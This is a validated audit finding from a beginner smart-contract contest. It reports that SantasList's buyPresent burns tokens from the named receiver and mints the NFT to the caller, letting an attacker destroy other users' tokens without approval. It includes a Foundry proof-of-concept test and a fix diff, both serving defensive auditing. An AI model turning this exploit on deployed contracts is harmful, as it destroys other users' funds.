First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

SantasList::buyPresent burns token from presentReceiver instead of caller and also sends present to caller instead of presentReceiver.

shikhar229169

Summary

The buyPresent function sends the present to the caller of the function but burns token from presentReceiver but the correct method should be the opposite of it.
Due to this implementation of the function, malicious caller can mint NFT by burning the balance of other users by passing any arbitrary address for the presentReceiver field and tokens will be deducted from the presentReceiver and NFT will be minted to the malicious caller.

Also, the NatSpec mentions that one has to approve SantasList contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves.

buyPresent function should send the present (NFT) to the presentReceiver and should burn the SantaToken from the caller i.e. msg.sender.

Vulnerability Details

The vulnerability lies inside the SantasList contract inside the buyPresent function starting from line 172.

The buyPresent function takes in presentReceiver as an argument and burns the balance from presentReceiver instead of the caller i.e. msg.sender, as a result of which an attacker can specify any address for the presentReceiver that has approved or not approved the SantasToken (it doesn't matter whether they have approved token or not) to be spent by the SantasList contract, and as they are the caller of the function, they will get the NFT while burning the SantasToken balance of the address specified in presentReceiver.

This vulnerability occurs due to wrong implementation of the buyPresent function instead of minting NFT to presentReceiver it is minted to caller as well as the tokens are burnt from presentReceiver instead of burning them from msg.sender.

Also, the NatSpec mentions that one has to approve SantasList contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves.

/*
* @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens.
* @dev You'll first need to approve the SantasList contract to spend your SantaTokens.
*/
function buyPresent(address presentReceiver) external {
@> i_santaToken.burn(presentReceiver);
@> _mintAndIncrement();
}

PoC

Add the test in the file: test/unit/SantasListTest.t.sol

Run the test:

forge test --mt test_AttackerCanMintNft_ByBurningTokensOfOtherUsers
function test_AttackerCanMintNft_ByBurningTokensOfOtherUsers() public {
// address of the attacker
address attacker = makeAddr("attacker");
​
vm.startPrank(santa);
​
// Santa checks user once as EXTRA_NICE
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
​
// Santa checks user second time
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
​
vm.stopPrank();
​
// christmas time 🌳🎁 HO-HO-HO
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME());
​
// User collects their NFT and tokens for being EXTRA_NICE
vm.prank(user);
santasList.collectPresent();
​
assertEq(santaToken.balanceOf(user), 1e18);
​
uint256 attackerInitNftBalance = santasList.balanceOf(attacker);
​
// attacker get themselves the present by passing presentReceiver as user and burns user's SantaToken
vm.prank(attacker);
santasList.buyPresent(user);
​
// user balance is decremented
assertEq(santaToken.balanceOf(user), 0);
assertEq(santasList.balanceOf(attacker), attackerInitNftBalance + 1);
}

Impact

  • Due to the wrong implementation of function, an attacker can mint NFT by burning the SantaToken of other users by passing their address for the presentReceiver argument. The protocol assumes that user has to approve the SantasList in order to burn token on their behalf but it will be burnt even though they didn't approve it to SantasList contract, because directly _burn function is called directly by the burn function and both of them don't check for approval.

  • Attacker can burn the balance of everyone and mint a large number of NFT for themselves.

Tools Used

Manual Review, Foundry Test

Recommendations

  • Burn the SantaToken from the caller i.e., msg.sender

  • Mint NFT to the presentReceiver

+ function _mintAndIncrementToUser(address user) private {
+ _safeMint(user, s_tokenCounter++);
+ }
​
function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
+ i_santaToken.burn(msg.sender);
+ _mintAndIncrementToUser(presentReceiver);
}

By applying this recommendation, there is no need to worry about the approvals and the vulnerability - 'tokens can be burnt even though users don't approve' will have zero impact as the tokens are now burnt from the caller. Therefore, an attacker can't burn others token.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.